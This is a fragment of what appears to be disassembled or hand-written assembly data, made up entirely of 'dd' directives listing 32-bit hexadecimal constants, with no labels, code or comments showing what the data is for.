		dd 6500B9BBh, 701116FBh, 767A68Ah, 455E2928h, 0ACAE00EAh
		dd 5C00F751h, 582B0CE9h, 1D1ED54h, 0BC4BADDAh, 0F0015B67h
		dd 33008AB0h, 0E873B5EAh, 13D159BFh, 13DFAFh, 37AD59Ah
		dd 2501F58Bh, 523435B1h, 77E43171h, 8D370551h, 16CF743h
		dd 0C960B284h, 632EF4E7h, 33A2B600h, 15AB2056h,	0FE543EEFh
		dd 67842C00h, 0DCB341EAh, 2F3A1C26h, 2ADA220Eh,	0EE00842Fh
		dd 0E9EC9D9Ah, 3B48074Fh, 0C40F668Fh, 2CCCD0FFh, 6076B75h
		dd 0D28AF5D3h, 0C31A3950h, 27FE0294h, 0B75B2A34h, 4943B068h
		dd 2F673112h, 0A1048C0Eh, 4171D09Dh, 0E1C0B089h, 8D6E4400h
		dd 0CD1E50F5h, 13009079h, 0D2712208h, 6B241D3Ah, 658200CBh
		dd 0F989C9C5h, 2CF0E900h, 16B7B518h, 0A2A80299h, 0AE2FF8CCh
		dd 0A52E605Dh, 0B05F09CDh, 0A801CB01h, 0EC53EAA4h, 6D395BD6h
		dd 9355003Dh, 24153391h, 0CDE8A1EFh, 4C358ECCh,	6C00F45Eh
		dd 664542E5h, 0F403A8BCh, 3778A0AFh, 97D28859h,	2A10387Ch
		dd 81F6C41Fh, 0F84232CFh, 0FC7AC4BFh, 0BD90B8F0h, 1D735D00h
		dd 8DB61F21h, 79A80020h
		dd 9C97EB3Eh, 0FD043C8Fh, 0D6077B96h, 4A6E4880h, 0B1741F2Bh
		dd 0C21AC172h, 0CCD48D69h, 6790F38Ah, 0E1422028h, 929CBA03h
		dd 0F06C913Ah, 0C6DD4Fh, 0CE6E1D16h, 0B3C32903h, 0C9D840Bh
		dd 0B6A48183h, 70205089h, 749F0A81h, 0B8F685h, 92B3780Bh
		dd 709D6691h, 0D54D05BDh, 0CC8160F8h, 72018004h, 0BFAF436Fh
		dd 0A9C86ACBh, 5174003Eh, 25A8A60Bh, 0B00090ADh, 0CEC08B73h
		dd 3A6BD239h, 0A6AE9DCCh, 2BE60048h, 6E024969h,	0C508EC00h
		dd 0EDAE013h, 0A3BC0029h, 0CA6939DDh, 0E400155Fh, 641797A9h
		dd 7CD582h, 0F2C567EEh,	2EE0CD9Fh, 4800C97Bh, 50B9F762h
		dd 844111h, 0CA3339F0h,	5A3D17CBh, 8CF48300h, 0A91B2745h
		dd 0BC21031Eh, 886C8AB1h, 0FC9C61A9h, 0FA00EEC9h, 3EB9181Fh
		dd 18F3662h, 20D8BD10h,	0EC1A41F9h, 0EA3BD1DAh,	0F17A80FAh
		dd 6EA9710Ah, 692400CBh, 322AFBEDh, 0C701758Eh,	0FC1FD66Bh
		dd 0E430B63Bh, 123503F8h, 17D5F5AEh, 72886B83h,	7DF67C2Eh
		dd 0D6718B01h, 0FD5383CFh, 756630h, 94D9436Eh, 0D472C3C5h
		dd 22A34000h, 0F99F5814h, 0CCE4A09Ch, 4FD0012h,	6CA45571h
		dd 8A001A6Ah, 57CB8BE7h, 7CC32820h, 7167B99h, 127EBC8Fh
		dd 80D52480h, 18D99E30h, 0C2E2441Fh, 0F4C0EA9Fh, 0DA59220Dh
		dd 12ECE663h, 973AEh, 0EBC2938Ch, 7A0E1C01h, 40F60DB8h
		dd 0B37E5ACEh, 0CEA7F98h, 80E78D55h, 0D90BA698h, 8026EF68h
		dd 33484268h, 0A7F40F07h, 254234D4h, 4C6043E1h,	8E1E724Fh
		dd 0B74067C2h, 95583F38h, 957172AAh, 57011370h,	0DC741702h
		dd 0CE4CED5h, 0D8D04DC9h, 0D2FD080Eh, 5CA3831h,	0FCEA6D7Fh
		dd 0C9BE50C0h, 6A36009Eh, 5654DA04h, 3D3B58E2h,	75FF009Ch
		dd 0BDD4288Dh, 0FBDE007Bh, 0A90D1017h, 120FC3F9h, 47933E25h
		dd 0B9502311h, 7950974h, 0A3E42A6Eh, 59ED608Ah,	8900A69Ah
		dd 1D5F6DB4h, 7C2BD10Eh, 1CE500BEh, 116DD78h, 4C00FB9Bh
		dd 0AF14B7E6h, 0F7CB80h, 0AA85F294h, 1B2E6CE9h,	9122BD01h
		dd 2793374Dh, 0C0E63220h, 7D38EE0h, 0C00E233Eh,	202EB58Bh
		dd 5C8F1282h, 58260B21h, 8380D0C7h, 0B0E8048h, 0FDB05900h
		dd 0E7A9ABB5h, 40F900FFh, 6F4BCF50h, 0E8FA3DD6h, 3796898h
		dd 0EA4CDE00h, 9499C92h, 27130073h, 93BFF581h, 8E00332Ah
		dd 7C348F31h, 0D899B9h,	712489C0h, 64B2F2A7h, 0F6510802h
		dd 602A96EEh, 3FA957E8h, 3E002E05h, 814F5AAFh, 0BF1D8BD7h
		dd 0EE8068A5h, 5B6005B7h, 0A109003Ah, 0CEBAB1F1h, 681EBB3Eh
		dd 7DAC82C7h, 2265600h,	16EC0EEh, 910E1C4Bh, 30A8AE0Dh
		dd 0A1288DACh, 0A704A1B1h, 0D02FD215h, 0AD5A0081h, 98345064h
		dd 8301001Bh, 712BF5DBh, 9E000227h, 0B5923865h,	3C52048h
		dd 3731848Ah, 0A1D85999h, 51002B3Eh, 0EEFAB90Fh, 60AFAD35h
		dd 9B90D832h, 0BB7BED06h, 7DF8C500h, 0ABDC022h,	3BBD9841h
		dd 47000FDAh, 1BBC20C4h, 0E500071Ch, 2CDB80D6h,	4810A430h
		dd 94008CBEh, 4F2A62A5h, 9C09411Fh, 15BD7AAh, 2E5330D4h
		dd 780D1DCh, 0AD0527BCh, 7A00780Bh, 0BD703F46h,	77B876h
		dd 0D0E17DDAh, 75062765h, 964CB800h, 98A683A3h,	0B4FE13F6h
		dd 0E1200228h, 48E432C2h, 0AFB73C01h, 86D8E990h, 0D5AA9080h
		dd 4C6EEC35h, 5D06E47Dh, 0ACC40CBAh, 1C750032h,	0B0683412h
		dd 0F75DD417h, 497705B0h, 70883E64h, 0DCCB070Eh, 0E0F5E09Bh
		dd 0A6E3180Dh, 0B6851E03h, 0F83A9522h, 22E485Ah, 9BA1FC06h
		dd 0DD602D7Bh, 6C284160h, 0BC00BE5Eh, 0D5BEB02Ch, 12DE6A1Fh
		dd 42052A4h, 43BBE3F8h,	0A4CAFCEEh, 4E0B749h, 23000914h
		dd 0C65902C2h, 0B2EC3F29h, 7D041FF4h, 7F381F12h, 0DFC9AC0Bh
		dd 3D24740Eh, 7D018087h, 0AA77EB68h, 7FC0CB00h,	0EE5DB3C8h
		dd 7839007Eh, 3BE6B4C7h, 5A005728h, 21419ED7h, 0D46437h
		dd 0B4B990F6h, 38042A88h, 445D7200h, 81F23DDAh,	6C030C55h
		dd 2D88D669h, 159F1C00h, 8D4D26DCh, 2ABE00FAh, 880BDBC2h
		dd 6F0028A1h, 0CE4E63D7h, 1C49CA35h, 38A4760h, 71A33686h
		dd 133AAB8h, 0DD7284A0h, 0B5E85400h, 0D314480Eh, 0C8990155h
		dd 6D3E3F7Dh, 1B5D70B0h, 0D4ED8873h, 0E6E0CCB6h, 0C5395B07h
		dd 0E3D0692Ah, 48FF5FEh, 0BE178E7h, 0C2088087h,	0B4501CBDh
		dd 0EC0064ACh, 0F7F25912h, 1A9D39Ch, 0B3B783D7h, 0FE2D4503h
		dd 0D5AFE060h, 54E82000h, 7A385176h, 7F5800D3h,	0E6423BF3h
		dd 0A503ED3Eh, 0F0319717h, 3D9CB05Fh, 0C72B139Dh, 0BEA8C022h
		dd 0C4093E15h, 4D0455h,	0C5F9F0FCh, 0FC050A4Ch,	61F8D14Bh
		dd 6B431B16h, 803BB0h, 0E063A296h, 40C536F0h, 84F5E712h
		dd 0F1BE1000h, 14BAEDDh, 37D5E6C3h, 0FC230801h,	50B8C664h
		dd 0FD0496FCh, 0D8A0759h, 0ACDA26C0h, 68C917E0h, 0A585002Dh
		dd 5A6404Ch, 11465809h,	0BAF0003Fh, 96225E70h, 243D70D0h
		dd 709FD2F8h, 0FC38F965h, 74573600h, 6485A567h,	8898C22Ch
		dd 7978B000h, 1F63D3A9h, 6770B1C4h, 5B035881h, 0EE61A2h
		dd 3D76CD90h, 0D5189963h, 83C9D13Fh, 4A064h, 0F51B57B7h
		dd 409FA3A1h, 318ABB00h, 537FCAADh, 0DEF900F8h,	0A1851F28h
		dd 46004D5Bh, 6B39B78Eh, 1170D6Fh, 50A81398h, 0FC2E381Fh
		dd 3C00CB57h, 0D6C5BADh, 93FF296h, 0DD682AC3h, 0F5B134E0h
		dd 0A75AC71Ch, 5E675000h, 77E60Eh, 0E4EEF899h, 0DB3E434Ch
		dd 0AAA23C00h, 0F772F062h, 3FB6168Bh, 0A060402Ch, 76FB2A2Dh
		dd 0E26E8900h, 6F1C5CF7h, 0BBEB00E5h, 0D987EDB5h, 66007384h
		dd 91576DD7h, 0CD4183Ah, 718CF7F0h, 0ED40D138h,	0E0AD004Ch
		dd 778F81CAh, 300DE98h,	733D7895h, 90EBC519h, 0D0A930D5h
		dd 0C71D5630h, 0D892A800h, 0B6349F47h, 5558489Bh, 5BFCCF00h
		dd 2FFE5C6Dh, 0C441365Ah, 2712D23h, 1C34E7F4h, 55BCA963h
		dd 8301F013h, 38D0656Eh, 72B3C060h, 110B8F00h, 0D9314E0Dh
		dd 0BDC10113h, 165AF5A2h, 0D8A02B7Fh, 50CF0024h, 54137D8Fh
		dd 220381A1h, 5E641DA3h, 0C7D880F3h, 80F800BFh,	6D9F4E10h
		dd 8A00C16Fh, 81DEB785h, 4BD9BF9h, 2C8C1C5Ah, 8B17834Eh
		dd 0AFAAB000h, 247FC202h, 0CDA9079Ch, 6B673093h, 0D0804092h
		dd 1E850A87h, 7D8A0C00h, 0CE593ECFh, 4C71B8EDh,	6900FF62h
		dd 29CC136Eh, 1CB88CE5h, 0CADFA70Bh, 6F80685Fh,	0B89F0028h
		dd 0DE8DA06Dh, 0F200C544h, 13714070h, 1DBC2F32h, 403A6129h
		dd 2AE812Eh, 88A15711h,	22ABF4D1h, 940105EAh, 38859AE3h
		dd 0B4209058h, 0ACC318F8h, 0DF0A699h, 70A12200h, 0DC49C5DDh
		dd 0EA7C6Ch, 281EE6BFh,	0AD0DF320h, 3219E400h, 4C558333h
		dd 0FE4400BBh, 0ACD83C07h, 54EC5C5Ah, 30AA7900h, 372F4D0Fh
		dd 0E4A703F4h, 0F8E822F2h, 6B6A33E0h, 1FEB7400h, 9924A9DFh
		dd 3BE926ECh, 9FB3004Ch, 3A36467Ch, 0FC10D5h, 9DCD43D9h
		dd 9089E8B9h, 6BB300FEh, 0BA8C47AAh, 0B2793D3Eh, 4DF71000h
		dd 5AF988EAh, 0C22B0E51h, 9F6E5E73h, 0CBFE3A60h, 0FC27598Eh
		dd 0C6A887D7h, 904DB3F3h, 3952FFEDh, 0C580CAB9h, 0F89A1F6Ah
		dd 0EA0204BDh, 7ED8107Dh, 0A84B40A6h, 68F23C64h, 48838080h
		dd 0E9163167h, 0F743E209h, 60B40FD7h, 0B747CEFDh, 5215012Bh
		dd 0D582A151h, 73007091h, 4A147700h, 801F2044h,	64D6001Ah
		dd 0E6BDAE9Ah, 14BA5DDAh, 0DB29CB00h, 7A7FE7D8h, 702B27E5h
		dd 8B1B880h, 0C7FE650Dh, 3CF91080h, 4E20F8F4h, 89542E10h
		dd 0EB312A00h, 0B3835BC9h
		dd 0DC95252Ch, 67DBF784h, 80CFA8C2h, 3BF51494h,	1E031D31h
		dd 0EECC8032h, 52D8FCF7h, 0C3CA2D00h, 51E823AFh, 0FACE00CDh
		dd 0EC8AD739h, 0A00E829Ch, 56E3B5F3h, 915A244Bh, 6862C71Ch
		dd 6021F072h, 1827D894h, 69000537h, 45D75707h, 0E4D528h
		dd 22C65F4Fh, 67560D0Eh, 663C1476h, 8A638198h, 0A32B13CFh
		dd 0F2F5E0h, 0D2991E97h, 80310EAEh, 1445C003h, 80CDEDA8h
		dd 5283FE8h, 0C39A62A0h, 98BB9050h, 2AE8A7D6h, 102F461Eh
		dd 0E6A4AC00h, 0F404F35h, 382C70A3h, 0E436BE0h,	251CDEA2h
		dd 80FFEBB5h, 58D8B713h, 1D60AE50h, 0BBC64E32h,	31A26C80h
		dd 4BEBDD0h, 2AC2E107h,	99000B4Dh, 1D4DD40h, 0A4EE0A97h
		dd 0C880136Ch, 0D5004253h, 6301AD33h, 0B13017h,	0E18C62B6h
		dd 575A8437h, 24897300h, 0BAAC7858h, 0ABF402EFh, 1B3D03CEh
		dd 0E94E9840h, 2B4B7600h, 15A30C51h, 0B0C6037Eh, 8F7D82BFh
		dd 1B9FDBA8h, 0A6A81450h, 55946100h, 4144DA90h,	0BAEC60DCh
		dd 4918BD3Dh, 7FF1AC00h, 0A04D948Dh, 0B7E00B3h,	0F30AB8CCh
		dd 8B00FE97h, 0A35A9D2Ch, 17E24Eh, 23104CDFh, 68C33D1Ch
		dd 60247800h, 2F0A4683h, 6E160374h, 65CBB907h, 451E6AC0h
		dd 96516B1Dh, 271F5C00h, 3F160453h, 0DE805049h,	5B081B7Ah
		dd 853D3309h, 0A63E9EAEh, 219D2080h, 284CB9h, 0F612D676h
		dd 38D7FD97h, 26697707h, 1BB01372h, 4956D0h, 4C81A5E1h
		dd 0C7D9860Fh, 0B2176B00h, 38F011C1h, 6739026Eh, 181E7548h
		dd 372049C0h, 84A085EAh, 0CF0BF291h, 260276h, 0B298DEBAh
		dd 0E1D90344h, 1E92A607h, 79EA5CD0h, 69D5E8EDh,	1A51A901h
		dd 0E89FB5E2h, 5284F0h,	5668166Ch, 0C47DBFBBh, 89A84900h
		dd 9ED9D0FBh, 0C27EBDh,	87126DAFh, 3D6B587Dh, 0BB54010Fh
		dd 9DC39E8Fh, 0E8F6A4D4h, 0B3D2DBh, 8BEA49DFh, 0F81E6F47h
		dd 8218317h, 795C7700h,	1C953B23h, 40DD9B3Ah, 72B54567h
		dd 0B2001854h, 3AF4890h, 0E4DBE3D9h, 0E0E5000Bh, 6FF5C459h
		dd 2E008FA4h, 0DD41D7C6h, 26BFB0Dh, 8CAF689Fh, 1C4031BEh
		dd 0F8070B76h, 0DB1D4C23h, 0F89E6733h, 0BEC77Fh, 0CF16EBFFh
		dd 3F147533h, 4BE0E47Bh, 0FE62CD07h, 9360B272h,	0E41BAF3h
		dd 2276708Dh, 611A0C3h,	0A4497FF8h, 4D302B00h, 58993887h
		dd 0A2330023h, 1E5FF090h, 2D008211h, 120FDBB6h,	73D66041h
		dd 813801FFh, 557EFBD4h, 166320BDh, 802FE43Fh, 0BA4F0ADFh
		dd 0EC53C849h, 427197h,	8AFA72A0h, 0ADC556DAh, 4EE9E50Fh
		dd 588E0CBh, 707DDC91h,	0CDFC035Ah, 6FA2D223h, 0DDC24EF0h
		dd 0AB33D3A0h, 0D1038AFAh, 5B2AFAC7h, 756BB90h,	32694978h
		dd 19884C12h, 0A4625C02h, 867CA525h, 48183198h,	0C4068AF9h
		dd 1052D2D4h, 7A004778h, 0BDF59043h, 0DFAECEh, 6FEF441Ah
		dd 2AF6EB9Bh, 0DA775704h, 94906B8Eh, 1A52DBBh, 4A326AD3h
		dd 0D2F5E678h, 0BECA80A0h, 1B038740h, 0A50DCDA8h, 0D3DFC86Ah
		dd 4180EB94h, 0D7473F15h, 0F200319Ah, 0D9325228h, 3091072Ah
		dd 0D3D1592Eh, 0C4601227h, 4926A50h, 4C0B0E46h,	8638044h
		dd 6C806D3Fh, 67005FC8h, 3302DADBh, 955701h, 61B5523Ch
		dd 21ADA80Ah, 69005673h, 664075FDh, 0EA469Bh, 6C0A7F14h
		dd 0BE49D4A8h, 154F1B00h, 0ABC956A7h, 806F0365h, 0CE31C20Fh
		dd 0D80134B9h, 79007E84h, 5067738Dh, 67E9DE76h,	0D029B051h
		dd 69726820h, 0D212471Eh, 0BC2A409Dh, 6303AFECh, 0DB2C0B20h
		dd 2EBEE0D7h, 0A71000C1h, 0C6216A19h, 0BC019563h, 0ECE99745h
		dd 7EF016EEh, 8960D4F0h, 741FE83Eh, 3EA429F2h, 6148DE19h
		dd 0C49FF00Dh, 325AAF02h, 0E09E11B7h, 7CA4C1Eh,	57AE0621h
		dd 89FBB1DEh, 41BF60h, 0BE7F2874h, 3354A65Dh, 48084DE3h
		dd 0F8AA212Eh, 90AD7E00h, 0F0938FDh, 0DA82E0CAh, 5F07200h
		dd 81C742D9h, 89D3B860h, 8761E0F3h, 5FE00135h, 252A52A4h
		dd 0B4BB0018h, 0A7451424h, 610CA07Fh, 0C01130ACh, 0D5F9200h
		dd 1A8904F4h, 0D8D90748h, 40A0FF3Eh, 0BB617EF3h, 9B0EAF04h
		dd 18C0852Eh, 1C9014B1h, 92B2D7CCh, 2B22006Bh, 0BA3EFFF3h
		dd 0E800EA7Bh, 0F9E22DECh, 3829270Ah, 7600FC7Ch, 0FA4997C6h
		dd 510081D3h, 30E52F15h, 58B1681Dh, 6F3F7425h, 21C61Eh
		dd 0DC92E133h, 47010E86h, 4B566143h, 0BE8353Ch,	0A8AD00AEh
		dd 0A50324D7h, 4C298799h, 0D05504B3h, 3900F0A3h, 0EA6C1079h
		dd 26E6AE7h, 5452533Fh,	50601A85h, 161E37FEh, 6B0F385Ah
		dd 80150E2Fh, 6179D132h, 2B39006Ah, 1FEA1316h, 0FE006017h
		dd 0D266624Ch, 745611A4h, 611502F5h, 6A5A2399h,	5C614F42h
		dd 0B310F039h, 78480E00h, 6F313850h, 14090095h,	87C50C7Eh
		dd 5206C9EEh, 0A2BFE984h, 0FE6B00B8h, 50F47BE4h, 0B8391DB0h
		dd 287A806Eh, 91E981F3h, 0E7933D0Bh, 3162F09Fh,	111AC428h
		dd 8D1233E4h, 896B8010h, 4F284138h, 11991232h, 44EC0815h
		dd 2C45D319h, 2988EF31h, 50B84395h, 2A446828h, 0D414A041h
		dd 18CA8B51h, 22FB9422h, 3822177Dh, 22482456h, 970C12A4h
		dd 5444CD29h, 842284BCh, 8E542FEh, 3836E828h, 44FC50D0h
		dd 328431F6h, 0E429EE1Fh, 0F90DA0A0h, 0DF00E679h, 56415740h
		dd 701DB780h, 0A8AF0042h, 9645E99Fh, 0D47E1318h, 76BBE300h
		dd 56D9545Fh, 35CE003Fh, 95A9B0C2h, 40003AB2h, 6F9D8D2Ch
		dd 768645h, 0C268B5C5h,	2F5AC13Fh, 2A22BC1Dh, 0E9B78AC0h
		dd 438DCA7h, 0A1BB75C0h, 55BDC040h, 0C500A29Ch,	93162AB7h
		dd 8660B3h, 6D851301h, 4579B958h, 948C3Ah, 97257040h, 2EE2822h
		dd 3CCF2EC4h, 2C409E02h, 0A801E2A5h, 0FC849881h, 1EF015C5h
		dd 0EF533E48h, 0D6BFDD00h, 944FA4E2h, 15F4AE00h, 28BC6513h
		dd 6C240F16h, 64E3A953h, 9AA04ADBh, 0FB0050BAh,	0FEE11FE5h
		dd 28BB5CAh, 18D322EBh,	0C040405Ch, 0F5041C5Ah,	6491D52Eh
		dd 73F01BEh, 0D8C4E554h, 0FA0110D3h, 6C3F8340h,	0AFF87666h
		dd 0DB4900FCh, 98E83011h, 2F2502Dh, 3540EB04h, 23EC035Eh
		dd 1509033h, 3D78CD98h,	28299C00h, 34915AF5h, 3FD1F05Eh
		dd 2500C886h, 3F1C6664h, 55390570h, 779600FBh, 0F7FEED49h
		dd 0E47B0797h, 0E760B8A6h, 0FAC0004Ch, 76770DAEh, 0F0D96E00h
		dd 50E2CECBh, 23A200DFh, 435F932Fh, 7C03C4DBh, 5ED171D2h
		dd 0EA190012h, 3B8B9D39h, 580B48E0h, 802134FCh,	0EF7790FDh
		dd 3EA600C4h, 459CD7F4h, 52005F40h, 0F36AE424h,	4CA1BD09h
		dd 0EF005091h, 0E5119273h, 7B1DF0CCh, 0B700B370h, 556B1D28h
		dd 0B95C0047h, 22D240CDh, 0AC003390h, 28FBA37Ah, 160335h
		dd 65CB1410h, 2DE21E44h, 0A8A5E900h, 4F74D7A3h,	88BE0EB3h
		dd 0E325B57Bh, 4D4CC096h, 5A4804DEh, 0EBD0040h,	1CF7867Eh
		dd 0A3420097h, 0B27ACA2h, 9A00E401h, 63C187EAh,	0FAA16536h
		dd 77670EBBh, 64E0A529h, 8D153E0Ah, 0F119100h, 9D36AFDCh
		dd 10ED00A3h, 76BE8C03h, 1B0E0B98h, 8AC3D350h, 8038DCB2h
		dd 0CAADD881h, 12E5BD87h, 4E13AA5Bh, 942D78Ch, 6445E33Fh
		dd 1121301h, 4820FA79h,	5A31CF9h, 0D75140CDh, 5F8C5682h
		dd 79F7461Dh, 68118D80h, 585DEA85h, 10001486h, 9DD55F05h
		dd 8490F73Ah, 1E6AFE00h, 8DB23155h, 3F0F07AFh, 20F918F6h
		dd 0AE0D9EC1h, 0FA606CF8h, 3E237F98h, 5C5448B2h, 0BE5C0400h
		dd 623B13DFh, 6B437100h, 57DDF538h, 736A00B0h, 0C3FE7CB3h
		dd 2D24A117h
		dd 6100743Ah, 8F7DB4AEh, 48900752h, 50C9795Ch, 0BD13C514h
		dd 2BC23300h, 68F53969h, 67FB0158h, 3DBCA2FFh, 99DF7085h
		dd 2B26DC07h, 0D6B305DFh, 0C5CA028h, 0CE6900F6h, 4B6EA64Fh
		dd 9E00C058h, 0DACB8864h, 0FD668Ch, 516BE5CDh, 2EDBA146h
		dd 5F473801h, 0B47CFFABh, 0F190A6C8h, 7FE820h, 8F56674Ah
		dd 0EF31C9D5h, 8D001C7Fh, 586295B0h, 1B4F40Eh, 0E48428C6h
		dd 0C0C48171h, 0A4006B0Fh, 83186FECh, 1FF20D3h,	534B1F62h
		dd 0F49E78BCh, 0E700F0F5h, 0E804CE3Bh, 4E746Bh,	0F6D3AB0Eh
		dd 36A939EFh, 983B8D00h, 5BFF323Ch, 0C35E1E6Ah,	442980BEh
		dd 92E0EDF0h, 21821800h, 3CD0D774h, 0AA035058h,	9A120719h
		dd 60C12DC9h, 0C620A039h, 0FF115600h, 265C90C7h, 0A4F450D5h
		dd 0A38600F5h, 0CB63E884h, 8900C902h, 6C3C52BBh, 905316h
		dd 1FE9252Dh, 0E4111344h, 27FE7F02h, 403C51D3h,	1DAD99ACh
		dd 846B3869h, 80C0105Ah, 0C431A999h, 48B6EC12h,	0A8F01407h
		dd 8DDCFC40h, 3388C104h, 0D4081817h, 0F000613Ah, 104984FAh
		dd 50C0E55Fh, 3DA988h, 195AF6CEh, 664B7638h, 0B7C1F00Eh
		dd 580A6099h, 226501h, 549D1DBEh, 26C46861h, 6625AAC0h
		dd 0FCE1B7h, 5F658E35h,	0E651BFDBh, 0AF1E4300h,	6E93253Bh
		dd 0F4F90084h, 8A442324h, 2C0B9130h, 4E36Ch, 0F521C924h
		dd 0A1AE0796h, 0DF6D4h,	0EC855C29h, 79CADD00h, 0EEA0644Fh
		dd 3D8100E1h, 0A50BD44Ch, 0CDB0F8D1h, 9CE20F00h, 0A23C92EDh
		dd 20A701F5h, 4C448502h, 3A1BCCD8h, 0EF18C800h,	0C83353Dh
		dd 0FB8402ADh, 0F66AC39Dh, 0E4DEB841h, 233BED3Ch, 350B74E4h
		dd 20361045h, 0EF2A761Ch, 20EE43h, 13FB7795h, 0C04D72BEh
		dd 78509004h, 0BC88A50Ah, 0B02512F1h, 9CB040BFh, 6FA10DE7h
		dd 0AA80B201h, 0FCDDE26Eh, 1032D050h, 394AE21Dh, 5D81E1D6h
		dd 4F55783Eh, 4C53E409h, 4D988F00h, 858AA612h, 0ECB077ADh
		dd 5E4E077Ah, 32E64A6Dh, 0C540ABF4h, 0D3001F05h, 3EDDB3C0h
		dd 0B0D412F9h, 5D0D00D4h, 0F0A2A80h, 0E7000867h, 0CC84459Ah
		dd 66A279h, 58F6FDA8h, 69A492A0h, 417C409h, 3CCC2010h
		dd 406C32C0h, 5300207Ah, 4CCEBA48h, 75E21Bh, 545D73BCh
		dd 0C84905Fh, 895B6E0Fh, 0F0196A01h, 0E4D2F900h, 70914121h
		dd 0FAF7EA44h, 0D7B51C6Ch, 6CA48Dh, 0F2FE3194h,	5D00CD96h
		dd 213ADF84h, 0CF9BE28h, 7DEC921Ch, 250AFDEAh, 0F02D1BB3h
		dd 170F9C04h, 702BA8D0h, 0BAC7E4Ch, 9A324604h, 1EA01D0Fh
		dd 0C13A6515h, 0A139A40Eh, 0B7E32089h, 28F17h, 691CCEFCh
		dd 0E6927C5Ah, 0C000C5F6h, 0BD8D0EFFh, 3354419h, 47A59560h
		dd 80C88640h, 0D42C277Fh, 3D99D2h, 368DDE78h, 7611A56Ah
		dd 79AD00B3h, 3DD01ECBh, 3E50109Bh, 0EC7205F7h,	0EEB74905h
		dd 0EA80C48Eh, 7D05238h, 5716E508h, 12FE6050h, 5AF03DE4h
		dd 0DCCCF904h, 10C74087h, 805E0680h, 671B3BD8h,	8F251A0Eh
		dd 0A754FE01h, 0C18AFCB2h, 64D24E03h, 0AA0AAFD5h, 4497401Fh
		dd 88E0E6h, 8799C908h, 3EAC8B81h, 83940900h, 0C0C8E41Eh
		dd 0D45D002Ah, 0FA3F0D55h, 20008F1Ch, 0B405EE19h, 723357h
		dd 0D691E65Ah, 38E54774h, 0AE43D01h, 2CF3FB63h,	0B310C847h
		dd 922BBE59h, 48C6739Ch, 0EE0B2005h, 0B081C153h, 60AAC830h
		dd 6D0E33CCh, 0E03A017Fh, 0EB2A179h, 58FC269Ch,	0AAE30078h
		dd 386A6D53h, 421DA500h, 24A9B203h, 945F03E9h, 0D2E0DD33h
		dd 957750C0h, 5CD3571Eh, 0BF32C900h, 0EF12B3h, 0F173052Dh
		dd 0A28E26CEh, 780C7158h, 3A0B2401h, 0DE2E7C5Fh, 1C90030h
		dd 31D137CAh, 34C29E96h, 0F900AAA8h, 0B5E4996Ah, 1EC7E266h
		dd 0C7021B1Ah, 0F31924DFh, 40DD2168h, 713315ACh, 0D0F2C834h
		dd 79AA9A09h, 76880D5h,	3F84592Eh, 4C80E3ECh, 0D8BF223Bh
		dd 7300B7BAh, 0A4099A4Eh, 690D2Eh, 79ED322Fh, 239B07AFh
		dd 8C28ACA0h, 82488D72h, 5E720274h, 581CB4D1h, 0BE57000Ch
		dd 1070313Eh, 0C6072CF1h, 5C7D44BFh, 55A4BC20h,	12B70464h
		dd 0E0AAD78Ah, 56258B64h, 91800143h, 3560E9E6h,	392000EFh
		dd 0B91C13CAh, 0BF00163Bh, 93299977h, 3AF51054h, 0E5800556h
		dd 0B1415C81h, 48B29FF4h, 6B8D0B07h, 0C7D5D0A3h, 65CF8804h
		dd 0B3130CC0h, 0CCA118E0h, 3A2130C3h, 7A0040E6h, 538828CDh
		dd 1586E49h, 0D9AEA365h, 0FC255E8Bh, 9D003261h,	549A5504h
		dd 5C66651Fh, 8301BC4Ch, 8A90581Ah, 6BF02847h, 0BAF0A119h
		dd 0E020D546h, 2810009h, 0AE11D74Bh, 3F0180D3h,	8F955AB8h
		dd 89E892FFh, 2AF8007Bh, 5C3DA773h, 150141E9h, 0C7EAF26Fh
		dd 0EEC02B4Fh, 5DBC0045h, 0DDAC3A7h, 0EF00B036h, 0E2140FC8h
		dd 5C0190h, 0E3223C57h,	0AE5053F8h, 0A494E900h,	4AEE71EDh
		dd 926C0785h, 7BF344B9h, 58542C40h, 0CABA3B1Dh,	3794549h
		dd 808B0A30h, 57C939h, 0B7E1CD80h, 8C17603h, 52A0E313h
		dd 327A3600h, 0F9CB6Ah,	0FD90F32Ah, 39131566h, 5F8D8F00h
		dd 876FCF1h, 1EF5E896h,	0C0897A47h, 2532056Dh, 0D600B8E4h
		dd 9C33584Eh, 876B67h, 78243827h, 0E9BA97CBh, 0B40035F4h
		dd 0F9521069h, 0B81E2CEh, 509BEDB3h, 5E2C5480h,	0AF039723h
		dd 7C284D34h, 0A33BA05Dh, 89EA51h, 855F262Ch, 0C2C814FDh
		dd 10598800h, 4DD5CCF3h, 0D286005Ah, 0D0878404h, 76092414h
		dd 88E96EFBh, 6007B0ADh, 90108AF0h, 847718h, 1C0F0475h
		dd 0EB15A2C6h, 3202674Ah, 0E03B36CCh, 17B106B4h, 46C1E58h
		dd 0E07CC5C1h, 0AA3E3D04h, 0BD8F0794h, 9C70A765h, 0FE31C85Ah
		dd 4A2507F4h, 2715F75Bh, 0E5F800D1h, 0D5004723h, 0B581CE1Ch
		dd 0B071907Bh, 0E7DF0E47h, 0BCC06B52h, 0F401BAB7h, 4C06F900h
		dd 29496299h, 1D7901E4h, 181A8F7Eh, 450CE817h, 110D4003h
		dd 0BC701BEAh, 2BDA4780h, 56821EAFh, 4C918023h,	527A6386h
		dd 0FF8CDE07h, 0A155516Ch, 4638A0h, 17508873h, 2244F843h
		dd 0E5C44B00h, 0C74D1FD8h, 8AE80066h, 2614D96Fh, 30037AE0h
		dd 6DE1241h, 6C54C03Eh,	66ED2CF7h, 0CA2C0055h, 816DE91Eh
		dd 0A4EFEB3Ah, 0FE804822h, 6BED275Fh, 0F8890933h, 8C64104Ch
		dd 383BB820h, 1D127B7Fh, 0F304003Fh, 0BDC8D634h, 49EF1400h
		dd 97F1115Ch, 58F52CA8h, 3B1C09E4h, 0F013FF07h,	1F36BA34h
		dd 80E3B73Ch, 2AF77586h, 9D7959h, 54BB9240h, 33C5D99Ch
		dd 0B03DCA78h, 0F65F8090h, 9AF69AAh, 0B3EE023Eh, 724982DCh
		dd 83049085h, 9CDA9442h, 95B8A2E0h, 81F69D25h, 1A0F72F0h
		dd 0E6F9F4h, 0EB46C4F0h, 0E99B6D2Dh, 5C3C1201h,	1F7268BEh
		dd 38621130h, 6A0185A2h, 409A035Dh, 0B418811Ch,	0F6EE66CBh
		dd 261030h, 32069721h, 39DF1B71h, 0D8AFC001h, 6D04ACA1h
		dd 0DC00D828h, 0D0479F3Fh, 0CF3A0111h, 381500D1h, 0CD5C14C7h
